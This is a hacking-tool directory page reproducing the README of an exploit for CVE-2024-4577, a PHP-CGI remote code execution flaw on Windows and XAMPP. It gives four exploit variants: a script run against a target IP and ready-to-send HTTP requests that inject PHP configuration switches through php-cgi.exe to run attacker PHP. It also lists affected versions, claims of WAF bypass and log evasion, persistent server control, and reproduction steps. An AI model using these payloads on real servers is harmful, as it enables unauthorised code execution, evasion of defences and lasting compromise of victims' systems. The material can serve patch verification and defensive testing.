Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4577-PHP-RCE — Exploit for CVE-2024-4577 PHP-CGI RCE on Windows, with WAF bypass and SSRF support. Provides multiple exploit variants for default, WAF, and SSRF scenarios. | Kitploit
Tools/GitHubGitHub/a-roshbaik/cve-2024-4577-php-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration Testing
GitHuba-roshbaik/cve-2024-4577-php-rce

CVE-2024-4577-PHP-RCE

Exploit for CVE-2024-4577 PHP-CGI RCE on Windows, with WAF bypass and SSRF support. Provides multiple exploit variants for default, WAF, and SSRF scenarios.

View Repository
962 years agoNot yet reviewed
Share

CVE-2024-4577-PHP-RCE

Project Introduction and Principle

  • The world's first CVE-2024-4577 PHP-CGI RCE vulnerability EXP utilizing the PHP default environment (XAMPP).
  • The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
  • Achieves RCE in the PHP default environment. Principle: cgi.force_redirect + REDIRECT-STATUS.
  • Added original EXP, supporting WAF bypass scenarios. Principle: Set up a FastCGI server + FastCGI protocol communication.
  • Added original EXP, supporting SSRF scenarios. Principle: data:// protocol + GET request.

Advantages of EXP 1

  • RCE without requiring allow_url_include, auto_prepend_file, auto_append_file. Can include arbitrary files and PHP files.
  • Avoids keywords commonly intercepted by WAFs such as allow_url_include, auto_prepend_file, auto_append_file.
  • All communication with the FastCGI server will not be logged by the WAF.
  • Listens on a new port, thus achieving persistent control of the PHP server, independent of Apache and PHP.

Vulnerability Introduction

InformationContent
Vulnerability NamePHP RCE
Vulnerability IDCVE-2024-4577
Risk LevelHigh
Vulnerability TypeRCE
Exploitation DifficultyLow

Affected Versions

  • PHP Windows version 8.3.0 <= affected versions < 8.3.8
  • PHP Windows version 8.2.0 <= affected versions < 8.2.20
  • PHP Windows version 8.1.0 <= affected versions < 8.1.29
  • PHP Windows version affected versions == 8.0.x
  • PHP Windows version affected versions == 7.x
  • PHP Windows version affected versions == 5.x
  • XAMPP Windows version 8.2.0 <= affected versions <= 8.2.12
  • XAMPP Windows version 8.1.0 <= affected versions <= 8.1.25
  • XAMPP Windows version affected versions == 8.0.x
  • XAMPP Windows version affected versions == 7.x
  • XAMPP Windows version affected versions == 5.x

EXP 1

Can be used for WAF bypass scenarios + default scenarios:

python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

For example:

python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

EXP 2

Can be used for SSRF scenarios + default scenarios:

http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 3

Can be used for default scenarios:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

EXP 4

Can be used for default scenarios:

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

Reproduction

  1. Server environment:
XAMPP Windows version 8.2.12
  1. Download and install XAMPP on the server:
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Or choose an affected version yourself here: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

  1. Server configuration
No modifications needed, keep the default configuration
  1. Use EXP on the client
Use the above EXP for testing
  1. Verification
Check whether the string "TesT" is returned or the contents of the server's system.ini file
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    343
  • 5

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258

Explore all tools

Browse our collection of tools

View all tools →